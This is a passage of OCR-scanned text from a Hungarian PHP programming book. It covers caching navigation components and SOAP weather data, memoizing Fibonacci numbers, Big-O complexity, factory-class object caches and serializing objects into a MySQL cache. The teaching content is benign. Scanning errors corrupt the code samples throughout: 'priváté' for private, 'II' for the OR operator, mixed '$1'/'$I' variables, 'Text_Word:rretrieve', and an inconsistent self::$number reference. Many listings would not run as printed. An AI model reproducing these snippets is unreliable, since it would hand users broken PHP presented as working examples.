<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</tdxtdxa href="<?= $project->file_url
?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
<?php
$cache->end();
}
302 PHP fejlesztés felsőfokon

A Proj ect. inc fájlban pedig a következőket kell elhelyeznünk:

public function get_cachefile_nav($name) {


global $CACHEBASE;
return "$CACHEBASE/projects/nav/$name.cache";
}

?>

Hát, ilyen egyszerű az egész!

Lekérdezések és gyorstárak
Érdekes feladat a böngészősáv időjárási adatokat megjelenítő részének elkészítése.
Ehhez használhatjuk az xmethods .net SOAP felületét, ami a ZIP kód (irányítószám
az USA-ban) alapján naprakész időjárási adatokat szolgáltat. Ne essünk kétségbe, ha
még nem találkoztunk SOAP kérelmekkel a PHP-ben - a 16. fejezetben bővebben szó-
lunk róluk. A generate_navigation_weather () készít egy Weather objektumot
az adott ZIP kódhoz, majd némi SOAP trükközéssel visszaadja az adott helyen mért
hőmérséklet értékét:

<?php
include_once 'SOAP/Client.php';
class Weather {
public $temp;
public $zipcode;
priváté $wsdl;
priváté $soapclient;

public function __ construct($zipcode) {


$this->zipcode = $zipcode;
$this->_get_temp($zipcode) ;
}

priváté function _get_temp($zipcode) {


if ( !$this->soapclient) {
$query =
"http://www.xmethods.net/sd/2 001/TemperatureService.wsdl";
$wsdl = new SOAP_WSDL($query);
$this->soapclient = $wsdl->getProxy();
}
$this->temp = $this->soapclient->getTemp($zipcode);
}
}

function generate_navigation_weather($zip) {
$weather = new Weather($zip);
?>
10. fejezet • Adatösszetevők átmeneti tárolása 303

The current temp in <?= $weather->zipcode ?>


is <?= $weather->temp ?> degrees Farenheit\n";
<?php
}

Az RPC-k általában lassúak, így érdemes gyorstárba helyeznünk az eredményt. Egyszerű-


en alkalmazhatjuk a Project objektumnál megismert módszert, és a generate_navi-
gation_weather () eredményét elhelyezhetjük egy szerkezet nélküli fájlban. Mindez
nagyszerűen működik, de sok apró fájlocskát eredményez - ZIP kódonként egyet.

Használhatunk DBM fájlt is, melyben a ZIP kódoknak egy-egy rekord felel meg. Ehhez
mindössze néhány sort kell elhelyeznünk a _get_temp függvényben, amely így haszná-
latba veszi a korábban elkészített Cache_DBM osztályt:

priváté function _get_temp($zipcode) {


$dbm = new Cache_DBM(Weather::get_cachefile(), 3 6 0 0 ) ;
if($temp = $dbm->get($zipcode)) {
$this->temp = $temp;
return;
}
else {
if(!$this->soapclient) {
$url =
" http://www.xmethods.net/sd/2001/TemperatureService.wsdl";
$wsdl = new S0AP_WSDL($url) ;
$this->soapclient = $wsdl->getProxy();
}
$this->temp = $this->soapclient->getTemp($zipcode);
$dbm->put($zipcode, $this->temp);
}
}

function get_cachefile() {
global $CACHEBASE;
return "$CACHEBASE/Weather.dbm";
}

A Weather objektum készítésekor tehát először meg kell néznünk a DBM fájl tartalmát,
és el kell döntenünk, hogy az ott tárolt hőmérsékletérték érvényes-e. A burkoló osztály-
ban a 3600 másodperces (1 órás) lejárati értéket adtuk meg, így biztosítottuk az adatok
frissességét. Ezután pedig következhet a szokásos eljárás: „ha az adat megtalálható a tár-
ban, adjuk vissza, ha nem, előállítjuk, és ezután adjuk vissza."
304 PHP fejlesztés felsőfokon

További olvasmányok
Számos relációs adatbáziskezelő rendszerben találhatunk gyorstárakat a lekérdezésekhez
- akár közvetlenül megvalósítva, akár külső alkalmazásokba építve. A MySQL 4.0.1. válto-
zatában is találkozhatunk ilyennel (bővebben lásd a www.mysql. com címen).

A mod_rewrite részletes leírását az Apache webhelyén tekinthetjük meg, a következő


címen: http: //httpd. apache.org.

A webszolgáltatások, a SOAP, valamint a WDSL részletes tárgyalását a 16. fejezetben talál-


hatjuk meg - e fejezet végén további forrásmunkákat is felsorolunk.
Számítási újrahasznosítás
A számítási újrahasznosítás módszere azon alapul, hogy a részeredményeket (vagyis
olyan adatokat, melyek nem a függvény végső kimenetét adják) megjegyzünk, és felhasz-
nálunk más számítások hatékonyabbá tételére. Ez a módszer jelentős hagyományokkal
rendelkezik, különösen a számítástudomány és a számítógépes grafika területén. Ne ijed-
jünk meg azonban ezektől a komoly tudományterületektől - valójában a számítási újra-
hasznosítás is egyfajta gyorstárhasználatot jelent.

Az előző két fejezetben számos tárolási módszert ismerhettünk meg, melyek legbelső lé-
nyegükben megegyeznek: olyan adatokat tárolnak, melyek kiszámítása jelentős költsé-
gekkel jár. A következő alkalommal, amikor e számításokra szükség van, megnézzük, lé-
tezik-e az eredmény tárolt változatban. Ha igen, azt adjuk vissza.

A számítási újrahasznosítás is ezen az alapon működik, de ez esetben nagyon kicsiny ada-


tokkal dolgozunk. Itt nem az alkalmazások teljes részeit tároljuk, hanem olyan objektu-
mokat, adatokat, melyek egy függvény végrehajtása során jönnek létre. Sokszor ezek az
apró összetevők is újrahasznosíthatok. Az összetett műveletek egyszerűbbek végrehajtásá-
nak eredményeként állnak elő. Ha egy ilyen egyszerű művelet jelentős részt követel a fu-
tásidőből, optimalizálásával számottevő teljesítménynövekedést érhetünk el.

Példa: a Fibonacci-sorozat
Egyszerű példánkban bemutatjuk, milyen erős kapcsolat áll fenn a számítási újrahasznosí-
tás és az önhívó függvények (rekurzív függvények) között. Állatorvosi lovunk a Fibonacci-
sorozat lesz, melynek elemei az alábbi feladat megoldásaként állnak elő:

Egy pár nyulat beleteszünk egy ketrecbe. Nyulaink minden hónapban egy pár nyu-
lat ellenek, melyek két hónap múltán válnak ivaréretté. Kérdés, hány nyúlpárunk
lesz n hónap múlva? (Feltesszük, hogy a nyulak nem pusztulnak el, nem válnak
meddővé, és nem hagyják el a ketrecet.)
306 PHP fejlesztés felsőfokon

Leonardo Fibonacci
Fibonacci matematikus volt a 13. századi Itáliában. Számos jelentős matematikai felfede-
zést tett, és sokan az ő tevékenységéhez kötik a középkori matematika újjászületését.

A feladat megoldása Fibonacci-sorozat néven ismert. A nyúlpárok száma az n. hónapban


megegyezik az előző hónapban jelen levő nyulak számának (a nyulak ugyanis nem pusz-
tulnak el) és a két hónappal azelőtti nyúlpárok számának összegével (hiszen pontosan
ennyi nyúlpár ivarérett az n. hónapban, és minden nyúlpártól egyetlen pár nyúl szárma-
zik). Matematikailag a Fibonacci-sorozatot a következő azonosságok írják le:

Fib(O) = 1
Fib(l) = 1
Fib(n) = Fib(n-l) + Fib(n-2)

Ha ezt mondjuk n = 5-re nézzük, a következőt kapjuk:

Fib(5) = Fib(4) + Fib(3)

Tudjuk továbbá ezt is:

Fib(4) = Fib(3) + Fib(2)

És ezt:

Fib(3) = Fib(2) + Fib(l)

A korábbiakat kifejthetjük tehát az alábbi szerint:

Fib(5) = Fib(3) + Fib(2) + Fib(2) + Fib(l)

Hasonlóképpen ismeretes a következő egyenlőség:

Fib(2) = Fib(l) + Fib(l)

Végül a Fib (5) így áll elő:

Fib(5) = Fib(2) + Fib(l) + Fib(l) + Fib(O) + Fib(l) + Fib(O) + Fib(l)


= F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( O ) + Fib(l)
= 8
11. fejezet * Számítási újrahasznosítás 307

Számítsuk ki a Fib (5) értékét egy egyszerű önhívó függvénnyel:

function Fib($n) {
if($n == 0 II $n == 1) {
return 1;
}
else {
return Fib($n - 2) + Fib($n - 1);
}
}

Láthatjuk, hogy a Fib (4) -et egyszer, a Fib (3 ) -at kétszer, a Fib (2 ) -t pedig háromszor
kell kiszámítanunk. Sőt, általánosságban - olyan matematikai módszerekkel, melyek tár-
gyalása meghaladná könyvünk kereteit — az is kimutatható, hogy a Fibonacci számok ki-
számíthatósága exponenciális bonyolultságú (0(1,6")). Ez azt jelenti, hogy a Fib (n) ki-
számítása legalább 1,6" lépésbe telik. A 11.1. ábra arra világít rá, miért is jelent ez nagy
gondot.

11.1. ábra
Bonyolultságok összehasonlítása.

A bonyolultságszámításról

Amikor a számítástudomány művelői az algoritmusok sebességéről beszélnek, általában


valamilyen „rendről" beszélnek, vagyis O(n), OCn2), vagy éppen 0(2") sebességről. De mit
is jelentenek pontosan ezek az értékek?
308 PHP fejlesztés felsőfokon

Az algoritmusok összehasonlításánál gyakran arra vagyunk kíváncsiak, miként változik


a teljesítményük, amint a kiindulási adathalmaz mérete nő. Az OO becslések erre a növe-
kedésre vonatkoznak, pontosabban egy felső korlátot adnak a megvalósításhoz szükséges
lépések számára n elemű kiindulási adathalmaz esetén.

Egy tömb legnagyobb elemének felkutatására például a következő algoritmust használ-


hatjuk: kezdjük a tömb elejénél és tegyük fel, hogy az első elem a legnagyobb; hasonlít-
suk össze ezt a következő elemmel - ha nagyobb, legyen ez a maximum. A módszer al-
kalmazásához tehát sorra kell vennünk a tömb minden elemét, vagyis n lépésre van szük-
ségünk (ahol n a tömb elemeinek száma). Ezt hívjuk 0(w)-nek, vagyis lineáris időnek.
Ez azt jelenti, hogy az algoritmus végrehajtásának ideje egyenesen arányos a kiindulási
adathalmaz méretével.

Másik példaként említhetnénk egy elem megtalálását egy társításos (asszociatív) tömbben.
Ehhez meg kell keresnünk a kulcs hasítóértékét (hash value), majd megtalálni az elemet
ez alapján. Ez egy O(l), vagyis állandó idejű művelet. Ez azt jelenti, hogy a tömb növeke-
désével egy elem elérésének ideje nem változik.

Vannak persze a lineárisnál magasabb rendű algoritmusok is. Itt a kiindulási adathalmaz
növekedésénél gyorsabb ütemben nő a szükséges lépések száma. A rendező algoritmusok
ide tartoznak. Közülük az egyik legegyszerűbb a buborékrendezés, ami a következőkép-
pen működik: az első elemtől kezdve hasonlítsuk össze a tömb elemeit a szomszédjukkal;
ha sorrendjük nem megfelelő, cseréljük meg őket. Folytassuk ezt mindaddig, míg a tömb
rendezése megfelelővé válik. Az algoritmus működésének alapja, hogy az egyes elemek
„buborékként" szállnak felfelé szomszédjaikhoz képest, és ez megismétlődik minden elem-
mel. Az alábbiakban leírjuk a buborékrendezés algoritmusának egy PHP megvalósítását:

function bubblesort(&$array) {
$n = count($array);
f o r ( $ I = $n; $1 >= 0; $1--) {
// a tömb minden indexe esetén
f o r ( $ j = 0 ; $j < $1; $ j + + ) {
// haladjunk végig innen kiindulva a tömb végéig
if ($array[$j] > $array[$j+1]) {
// ha az elemek sorrendje nem megfelelő, cseréljük meg a j. és
// a j+1. elemet
list($array[$j ], $array[$j+1]) =
array($array[$j +1], $array[$j]);
}
}
}
}
11. fejezet • Számítási újrahasznosítás 309

A lehető legrosszabb esetben (vagyis, ha a tömb elemei éppen fordított sorrendben áll-
nak), minden lehetséges cserét el kell végeznünk - ez (r?+ri)/2 cserét jelent. Nagy szá-
mok esetén az ri a lényeges, vagyis egy 0(n2) rendű algoritmusról van szó.

A 11.1, ábrán néhány bonyolultság összehasonlító grafikonját láthatjuk.

Bármi, amivel csökkenthetjük a szükséges műveletek számát, hosszú távon jelentős ered-
ményeket hozhat. Esetünkben a megoldás itt van az orrunk előtt, hiszen épp most láttuk,
hogy miként számíthatjuk ki a Fib (5) értékét a sorozat korábbi elemeinek többszöri ki-
számításával. Nem kell mást tennünk, mint elraktározni ezeket az értékeket egy társításos
tömbben, és újbóli kiszámításuk helyett hivatkozni rájuk. Tudjuk, hogy a társításos tömb-
ből O(l) idő alatt kiolvashatók az egyes elemek, így ezzel a módszerrel algoritmusunk li-
neárissá (O(n)) tehető. Mondanunk sem kell, hogy ez jelentős előrelépés.

Megjegyzés
Bizonyára eszünkbe jutott, hogy a Fibonacci-sorozat elemeinek kiszámítását úgy is lineá-
ris idejűvé tehetjük, ha a fa alakú önhívó függvényt (hiszen a Fib ( n ) kiszámításához két
önhívás szükségeltetik) vonal alakúvá írjuk át (így csak egy önhívásra van szükség, követ-
kezésképpen az idő lineáris lesz). Mindazonáltal, a tapasztalatok azt mutatják, hogy ha
egy statikus tárolót alkalmazunk, jobb teljesítményt érhetünk el, mint egy tárolás nélküli,
vonal alakú algoritmussal, ráadásul az előbbi módszer könnyebben alkalmazható más
webes újrahasznosítási feladatokban.

Mielőtt azonban eljátszadoznánk a függvényekkel, készítenünk kell néhány ellenőrző el-


járást, melyek megvizsgálják, hogy valóban az eredeti sorozat értékeit kaptuk-e meg:

<?
require_once 'PHPUnit/Framework/TestCase.php';
require_once 'PHPUnit/Framework/TestSuite.php';
require_once 'PHPUnit/TextUI/TestRunner.php';

require_once "Fibonacci.inc";

class FibonacciTest extends PHPUnit_Framework_TestCase {


priváté $known_values = array( 0 => 1,
1 => 1,
2 => 2,
3 => 3,
4 => 5,
310 PHP fejlesztés felsőfokon

5 => 8,
6 => 13,
7 => 21,
8 => 34,
9 => 55);

public function testKnownValues() {


foreach ($this->known_values as $n => $value) {
$this->assertEquals($value, Fib($n),
" F i b ( $ n ) == " . F i b ( $ n ) . " != $ v a l u e " ) ;
}
}
public function testBadlnput() {
$this->assertEquals(0, Fib('hello'), 'bad i n p u t 1 ) ;
}
public function testNegativelnput() {
$this->assertEquals( 0 , F i b ( - l ) );
}
}
$suite = new PHPUnit_Framework_TestSuite(new
Reflection_Class('FibonacciTest')) ;
PHPUnit_TextUI_TestRunner::run($suite) ;
?>

Most pedig következzék a gyorstár! Az alapgondolat mindössze annyi, hogy a sorozat ko-
rábban kiszámított értékeit egy statikus tömbben tároljuk. Mivel e tömböt minden új érték
kiszámításakor bővítjük, gyűjtőtömbnek (accumulator array) hívjuk. íme, a Fib () függ-
vény egy statikus gyűjtővel:

function Fib($n) {
static $fibonacciValues = array( 0 => 1, 1 => 1);
if(!is_int($n) II $n < 0) {
return 0;
}
If( !$fibonacciValues[$n]) {
$fibonacciValues[$n] = Fib($n - 2) + Fib($n - 1);
}
return $fibonacciValues[$n];
}

Gyűjtőként alkalmazhatunk statikus osztályváltozókat is. Ez esetben a Fib () függvény


helyét a Fibonacci : :number () veszi át, amely a $values osztályváltozót alkalmazza:

class Fibonacci {
static $values = array( 0 => 1, 1 => 1 );
public static function number($n) {
if(!is_int( $ n ) II $n < 0) {
11. fejezet • Számítási újrahasznosítás 311

return 0;
}
if ( !self: :$values[$n]) {
self::$values[$n] = self::$number[$n -2] + self::$number[$n - 1];
}
return self::$values[$n];
}
}

Ebben a példában a statikus osztályváltozó bevonása semmiben sem vitt előbbre. Az ilyen
gyűjtők használata akkor igazán kifizetődő, ha egyet több függvény is használhat.

A 11.2. ábrán a Fib (5) számításának új fáját láthatjuk. Ha úgy tekintünk erre a fára, mint
egy kissé eltorzított háromszögre, láthatjuk, hogy az elvégzendő számítások a bal oldalon
láthatók, míg a tárolt adatok a jobb oldalhoz közel helyezkednek el. Láthatjuk tehát, hogy
itt (n+V)+n, vagyis 2n+l számítást kell elvégeznünk, vagyis a számítási igény O(w). Ves-
sük össze ezt a 11.3. ábrával, ahol az eredeti önhívó megvalósítást láthatjuk, melyben
minden csomópontot ki kell számítanunk.

11.2. ábra
Megfigyelhetjük, hány müvelet szükséges a Fib(5) kiszámításához, ha a már megkapott értékeket
tároljuk.
312 PHP fejlesztés felsőfokon

11.3. ábra
Az eredeti gyorstár nélküli megvalósításban szükséges számítások.

A teljesítmény pontosabb méréséről a 19. fejezetben szólunk bővebben, de e két eljárást


már közepes nagyságú n-ekre (akár két számjegyűeket is vehetünk) összehasonlítva is jól
látható a különbség az exponenciális és a lineáris bonyolultság között. Saját gépemen
a Fib (50) -et a gyorstáras módszer egy másodpercen belül visszaadja, míg az egyszerű
algoritmus durva számítások szerint hét napig küszködne ugyanezzel a feladattal.

Újrahasznosítható adatok tárolása egy kérelmen belül


Lelki szemeimmel szinte látom, ahogy sok olvasó felkiált: „Nagyszerű! Ha egy Fibonacci
számokról szóló webhelyét kell készítenem, jól elboldogulok majd!" Nos, szerencsére
a matematikai példán bemutatott módszer szélesebb körben is alkalmazható - sőt,
könnyen bővíthető gyakorlatiasabb feladatok megoldására.

Vegyük a 6. fejezetben készített Text_Statistics osztályt, melynek segítségével kiszá-


míthattuk a Flesch olvashatósági pontszámot. A dokumentum minden szavához készítet-
tünk egy Word objektumot, és így meg tudtuk határozni, hány szótagból áll. Ha doku-
mentumunk mérete elegendően nagy, bizonyára előfordulnak benne ismétlődő szavak,
így tehát, ha a szavak Word objektumait, valamit szótagszámát tárolni tudjuk, jelentősen
csökkenthetjük a dokumentum átvizsgálására fordított időt.
11. fejezet • Számítási újrahasznosítás 313

A szótagok számának tárolása hasonlóképpen fest, mint a Fibonacci-sorozat elemeié -


csak készítsünk egy $_numSyllables nevű osztálytulajdonságot, és tároljuk benne
a szótagszámot, amint kiszámítottuk:

class Text_Word {
public $word;
protected $_numSyllables = 0;
//
// nem módosított tagfüggvények
//
public function numSyllables() {
// ha már megszámoltuk a szótagokat ebben a Word objektumban,
// egyszerűen adjuk vissza az eredményt
if($this->_numSyllables) {
return $this->_numSyllables;
}
$scratch = $this->mungeWord($this->word);
// Szétválasztjuk a szót a magánhangzók (a , e, i, o, u és
// esetünkben az. y) mentén
$fragments = preg_split("/[^aeiouy]+/" , $scratch);
if(!$fragments[0]) {
array_shift( $ f ragments);
}
if(!$fragments[count( $ f ragments) - 1 ] ) {
array_pop($fragments);
}
// mindenképpen tároljuk a szótagszámot a tulajdonságban
$this->_numSyllables +=
$this->countSpecialSyllables($scratch);
if(count($fragments)) {
$this->_numSyllables += count($fragments);
}
else {
$this->numSyllables = 1;
}
return $this->_numSyllables;
}
}

Most készítünk egy gyorstárat a Text_Word objektumok számára is. Ezeket az objektu-
mokat előállíthatjuk egy gyártóosztály (factory class) segítségével, melyben egy statikus
társításos tömb tartalmazza a Text_Word objektumokat a nevükkel indexelve:

require_once "Text/Word.inc";
class CachingFactory {
static $objects;
public function Word($name) {
314 PHP fejlesztés felsőfokon

If(iself::$objects[Word][$name]) {
Self::$objects[Word][$name] = new Text_Word($name);
}
return self::$objects[Word][$name];
}
}

Ez a megvalósítás, jóllehet tiszta, mégsem marad rejtve, hiszen a hívások eredeti alakja ez:

$obj = new Text_Word($name);

És ezt erre az alakra kell hozni:

$obj = CachingFactory::Word($name);

Néha azonban ez az újraépítés komolyabb nehézségekbe ütközik. Ilyenkor dönthetünk


egy kevésbé elegáns megoldás mellett, és a gyorstár megvalósítását elhelyezhetjük magá-
ban a Text_Word osztályban:

class Text_Word {
public $word;
priváté $_numSyllables = 0;
static $syllableCache;
function ____ construct($name) {
$this->word = $name;
If ( !self::$syllableCache[$name]) {
self::$syllableCache[$name] = $this->numSyllables();
}
$this->$_numSyllables = self::$syllableCache[$name];
}
}

Szó mi szó, ez valódi barkácsmunka. Ezért hát, minél összetettebbé válik a Text_Word
osztály, annál nehezebb dolgunk akad ezzel a módszerrel. Mivel eredményünk a kívánt
Text_Word objektum egy példánya, ha szeretnénk valami hasznot hajtani a szótagok szá-
mának tárolásából, megszámolásukat az objektum konstruktorában kell elvégeznünk. Mi-
nél több adatot szeretnénk kapni egy szóról, annál költségesebb lesz a konstruktőr végre-
hajtása. Képzeljük csak el, mi lenne, ha ábécérendi és szinonimakeresést is be szeretnénk
építeni a Text_Word osztályba. Ahhoz, hogy csak egyetlen keresési műveletre legyen
szükség, azt előzetesen már a konstruktorban el kell végeznünk. A költségek (mind az
erőforrások felhasználásában, mind pedig a bonyolultság terén) hamar felhalmozódnak.
11. fejezet • Számítási újrahasznosítás 315

Mindezekkel szemben, mivel a gyártófüggvény hivatkozást ad vissza az objektumra, csak


egyszer kell elvégeznünk az egyes számításokat, emellett azonban nem kell mindent elő-
re kiszámolnunk, amire esetlegesen szükség lehet. A PHP 4-ben lehetőségünk van arra,
hogy a gyárat közvetlenül az osztály konstruktorába csempésszük:

// PHP 4 kód - nem felel meg a PHP 5-nek


$wordcache = array();
function Word($name) {
global $wordcache;
if(array_key_exists($name, $wordcache)) {
$this = $wordcache[$name];
}
else {
$this->word = $name;
$wordcache[$name] = $this;
}
}

A $this átírása nem támogatott a PHP 5-ben, így jobban járunk, ha gyártóosztályt hasz-
nálunk. Ez amúgy is egy jól bevált módszer, és lehetővé teszi, hogy gyorstárunk kódját el-
válasszuk a Text_Word osztálytól.

Újrahasznosítható adatok tárolása kérelmek között


Gyakran merül fel a kérdés: miként vihetjük át objektumainkat a kérelmek között? Az alapöt-
let egyszerű: készítsük el az objektumot az egyik kérelemben, szolgáljuk ki a kérelmet, majd
a másik kérelemben hivatkozzunk erre az objektumra. Számos Java rendszer alkalmazza ezt
a módszert bevásárlókocsik, felhasználói munkamenetek, vagy éppen adatbázis-kapcsolatok
fenntartására, de használják olyan lehetőségek megvalósítására is, amelyeknek folyamatosan
rendelkezésre kell állniuk egy webkiszolgáló folyamatában vagy egy felhasználó teljes mun-
kamenetében egy webhelyen. E módszer igen elterjedt a Java programozók körében, de (jól-
lehet talán kisebb mértékben) népszerű a mod_perl fejlesztők közösségében is.

Mind a Java, mind a mod_perl egy állandó futásidejű környezetet ágyaz be az Apache ki-
szolgálóba. Ez a környezet értelmezi és lefordítja a programokat és az oldalakat, ezt köve-
tően pedig újra és újra végrehajtja azokat. Úgy is felfoghatjuk ezt, mintha elindítanánk
a futásidejű környezetet, majd úgy hajtanánk végre az oldalakat, mintha egy függvényt
hívnánk meg egy ciklusba ágyazva (a lefordított példány ismételt hívásával). Amint a 20.
fejezetben majd láthatjuk, a PHP nem ezt a módszert követi. Rendelkezik ugyan állandó
értelmezővel, de minden kérelem kezdetén tiszta lappal indít.
316 PHP fejlesztés felsőfokon

Ez azt jelenti, hogy bármilyen változót is hozunk létre egy oldalon, az (a teljes szimbó-
lumtáblával együtt) megsemmisül a kérelem végén. Ez történik az alábbi változóval is:

<? $string = 'he l l o world'; ?>

Hogyan birkózzunk meg ezzel a problémával? Miként juttassunk át egy objektumot az


egyik kérelemből a másikba? A 10. fejezetben láthattunk egy megoldást nagyobb adat-
mennyiségekre, most azonban apróbb részletekre, köztes adatokra, egyedi objektumokra
összpontosítunk. Hogyan tárolhatjuk tehát adatainkat a kérelmek között? Nos, a rövid vá-
lasz egyszerűen az, hogy általában nem is igazán szeretnénk tárolni őket.

Létezik persze használható módszer - a serialize () függvény segítségével tetszőleges


adatszerkezetet (objektumot, tömböt, vagy amit csak akarunk) sorosíthatunk, tárolhatunk,
majd később kiolvashatjuk és visszaalakíthatjuk. Van itt azonban néhány apróság, ami kis
adatmennyiségnél könnyen elveheti a kedvünket e módszer használatától:

• Az alacsony költséggel elkészíthető objektumok esetében a példányosítás hatéko-


nyabb, mint a sor visszaalakítása.
• Ha egy objektumnak nagyon sok példánya létezik (így áll a helyzet a Word objek-
tummal, illetve egy webhely felhasználóit leíró objektumokkal), a gyorstár hamar
megtelik, és ki kell találnunk valamilyen módszert a sorosított objektumok elavulá-
sának jelzésére.
• Amint a korábbi fejezetekben már említettük, a gyorstárak összehangolása és ér-
vénytelenítése nehézségeket okozhat elosztott rendszereken.

Mint sok más esetben, most is mérlegelnünk kell: A nagy költségű objektumok példányo-
sítását elkerülhetjük, de ehhez fenn kell tartanunk egy gyorstárat. Ha nem vigyázunk,
könnyen megeshet, hogy más, fontosabb adatszerkezetek rovására használjuk ki túlzottan
a gyorstárat, de másik végletként az is előfordulhat, hogy nem használjuk ki annyira, hogy
megtérüljenek működésének költségei.

Vissza kell azonban térnünk eredeti kérdésünkre - hogyan tároljunk egyes objektumokat
két kérelem között? Nos, alkalmazhatjuk rá a serialize () függvényt, majd az ered-
ményt tárolhatjuk osztott memóriaszegmensben, adatbázisban, vagy akár fájlban is.
A Word osztályban ennek megvalósítására készíthetünk egy kiíró és egy beolvasó tag-
függvényt. Esetünkben a tárolás egy MySQL alapú gyorstárban történik, amellyel egy, a 2.
fejezetben bemutatott elvont kapcsolati rétegen keresztül érintkezünk:

class Text_Word {
require_once 'DB.inc';
// korábbi osztálymeghatározások
// . ..
function storeO {
11. fejezet • Számítási újrahasznosítás 317

$data = serialize($this);
$db = new DB_Mysql_TestDB;
$query = "REPLACE INTŐ ObjectCache (objecttype, keyname,
data, modified)
VALUES('Word', :1, :2, now())";
$db->prepare($query)->execute($this->word, $data);
}
function retrieve($name) {
$db = new DB_Mysql_TestDB;
$query = "SELECT data from ObjectCache where objecttype =
'Word' and keyname = :1";
$row = $db->prepare($query)->execute($name)->fetch_assoc() ;
if($row) {
return unserialize($row[data]);
}
else {
return new Text_Word($name);
}
}
}

Lekérdezési adatok összetűzése


A 2. fejezetben készített elvont adatbázisréteg elintézi helyettünk az adatok soros összefű-
zését. Ha nem használunk elvonatkoztatási réteget, a mysql_real_escape_string ()
függvényt kell futtatnunk a serialize() kimenetén.

Ahhoz, hogy új Text_Word változatunkat sikerrel használjuk, el kell döntenünk, mikor


tároljuk az objektumot. Mivel a gyorstár szerepe itt a számítási feladatok csökkentése, ér-
demes az ObjectCache objektumot a numSyllables tagfüggvényben, a számítások el-
végzése után frissíteni:

function numSyllables() {
if($this->_numSyllables) {
return $this->_numSyllables;
}
$scratch = $this->mungeWord($this->word);
$fragments = preg_split("/[Aaeiouy]+/", $scratch);
if(!$fragments[0]) {
array_shift($fragments) ;
}
if(!$fragments[count($fragments) - 1]) {
array_pop($fragments);
}
318 PHP fejlesztés felsőfokon

$this->_numSyllables += $this->countSpecialSyllables($scratch);
if(count($fragments) ) {
$this->_numSyllables += count( $ f ragments);
}
else {
$this->_numSyllables = 1;
}
// tároljuk az objektumot, mielőtt visszaadnánk
$this->store();
return $this->_numSyllables;
}

Ahhoz, hogy felhasználjuk a gyorstárban tárolt elemeket, módosítanunk kell a gyártóosz-


tályt úgy, hogy ha belső gyorstárában nem jár sikerrel, keressen a MySQL tárban:

class CachingFactory {
static $objects;
function Word($name) {
if(!self::$objects[Word][$name]) {
self::$objects[Word][$name] = Text_Word:rretrieve($name);
}
return self::$objects[Word][$name];
}
}

A gyorstár fenntartására itt is meglehetősen sok erőfeszítést kell fordítanunk. Az előzőek-


ben látott módosítások mellett szükség van egy olyan környezetre is, amely törli a gyors-
tár egyes elemeit, ha az megtelt. A telítődés pedig meglehetősen gyorsan bekövetkezhet.
Ha megnézünk egy sort a gyorstárban, láthatjuk, hogy egy Word objektum sorosított vál-
tozata meglehetősen nagy:

mysql> select data from ObjectCache where keyname = 'the';


+----+
data
+----+
0:4:"word":2:{s: 4: "word";s:3:"t h e"; s: 13: "_numSyllables";i:0;}
+----+
1 row in set ( 0. 0 1 sec)

Ez 61 bájtnyi adatot jelent, aminek a többségét az osztály adatai teszik ki. A PHP 4-ben
a helyzet még rosszabb, mivel ez a nyelv nem támogatja a statikus osztályváltozókat, így min-
den sorosított változatban helyet kaphat a szótagok kivételeinek tömbje. Ezek a csomagok
természetüknél fogva szeretnek nagyok lenni, így használatuk gyakran felesleges túlzás.
11. fejezet • Számítási újrahasznosítás 319

A folyamatok közti gyorstárak ilyen használatával meglehetősen nehéz jelentős teljesít-


ménynövekedést elérni. így például a Text_Word osztályban az előzőekben felvázolt
gyorstárszerkezet gyakorlatilag nem eredményezett sebességnövekedést. Mindezzel szem-
ben a gyártóosztályt használó módszerrel (saját tesztrendszeremen) durván nyolcszor gyor-
sabb futást lehetett elérni, amikor a Text_Word objektumok kérelmen belüli újrabevezeté-
sének vettük elejét.

Általában tehát jobb elkerülni a kérelmek közti tárolást - ha adattorlódást találunk, keressünk
egy átfogóbb megoldást. Csak különösen összetett objektumok és jelentős erőforrásokat fel-
emésztő adatszerkezetek esetén érdemes a folyamatok között kisméretű adatokat megoszta-
ni. Egyébként meglehetősen nehéz a folyamatok közti adatcsere költségeit ellensúlyozni.

Számítási újrahasznosítás a PHP-ben


Maga a PHP is több területen alkalmazza a számítási újrahasznosítás módszerét.

PCRE-k
A Peri-megfelelő szabályos kifejezésekhez (Perl Compatible Regular Expression, PCRE)
olyan függvények kapcsolódnak, mint a preg_match (), a preg_replace (),
a preg_split (), vagy a preg_grep (). A név onnan ered, hogy e kifejezések szerke-
zete nagymértékben hasonlít a Perl szabályos kifejezéseihez. A PCRE-k nem részei
a Perinek, valójában egy teljesen független megfelelőségi könyvtárat alkotnak, melyet
Phillip Hazel készített, és amit jelenleg megkapunk a PHP-vel.

Érdemes tudnunk, hogy a preg_match vagy a preg_replace működése valójában két lé-
pésből áll, melyek rejtve maradnak a felhasználók előtt. Az első lépés a pcre_compile ()
függvény hívása (ez a PCRE C könyvtárában található). Ez a függvény a szabályos kifejezés
szövegét olyan alakra hozza, ami már érthető a PCRE könyvtár más függvényei számára.
A fordítást követően, a második lépésben a pcre_exec () függvénnyel a rendszer megke-
resi az egyezéseket (ez a függvény is a PCRE C könyvtárában található).

A PHP mindezt elrejti a szemünk elől. A preg_match () végrehajtja a pcre_compile ()


függvényt, majd tárolja az eredményt, hogy ne kelljen feleslegesen újra futtatni. A PCRE
függvények megvalósítása egy bővítményben található, így sokkal jobban ellenőrizheti
a hozzá tartozó memóriaterületet, mint a felhasználói PHP kód. Ez lehetővé teszi, hogy e
függvények a lefordított szabályos kifejezéseket ne csak egy kérelmen belül, hanem a ké-
relmek között is tárolják. Hosszú távon ez gyakorlatilag teljesen kiküszöböli a szabályos
kifejezések fordítása okozta terhelést. Ez a módszer igencsak hasonlít a korábban
a Text_Word objektum kapcsán megismert, gyártóosztály nélküli példához.
320 PHP fejlesztés felsőfokon

Elemszám és hossz
Az alábbi kódsorok végrehajtásakor a PHP nem halad végig a $array tömb elemein,
megszámolva egyenként az elemeit:

$array = array( ' a ' , ' b ' , ' c ' , l , 2 , 3 ) ;


$size = count($array);

A módszer ennél kifinomultabb — létezik egy belső számláló, melynek értéke minden
elem hozzáadásánál eggyel nő, elemek törlésénél pedig csökken. A count () függvény
látja a tömb valódi belső szerkezetét, így egyszerűen e számláló értékével tér vissza,
a művelet bonyolultsága tehát O(l). Vessük össze ezt azzal, ha végig kellene haladnunk
a tömb elemein a számoláshoz - ez nyilvánvalóan egy O(n) művelet.

